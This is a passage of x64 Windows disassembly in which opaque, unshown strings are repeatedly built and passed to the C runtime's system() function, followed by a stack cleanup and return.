mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068eb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068f80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069050
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069120
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400691e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400692a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069360
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069420
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400694e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069360
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400695a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400696a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069770
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069840
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400699a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069b00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069c60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069d30
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069e10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140069f70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14006a0d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x430]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x450]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x470]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x310]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x490]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x4b0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x410]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x350]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x370]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x330]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x390]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x3b0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x3d0]
call fcn.14004f1a0
nop
lea rcx, [rbp + 0x3f0]
call fcn.14004f1a0
mov rcx, qword [rbp + 0x3390]
xor rcx, rsp
call fcn.14010e990
lea r11, [rsp + 0x34a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret